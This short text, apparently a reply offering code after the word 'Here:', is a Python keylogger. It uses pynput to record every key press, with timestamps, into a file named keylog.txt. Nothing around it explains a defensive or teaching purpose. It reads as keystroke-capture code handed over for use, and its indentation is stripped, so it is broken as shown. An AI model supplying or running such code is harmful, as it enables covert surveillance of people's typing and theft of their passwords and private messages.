Here:
import pynput
import logging
logging.basicConfig(filename="keylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def on_press(key):
try:
logging.info(f"{key.char}")
except AttributeError:
logging.info(f"{key}")
with pynput.keyboard.Listener(on_press=on_press) as listener:
listener.join()```
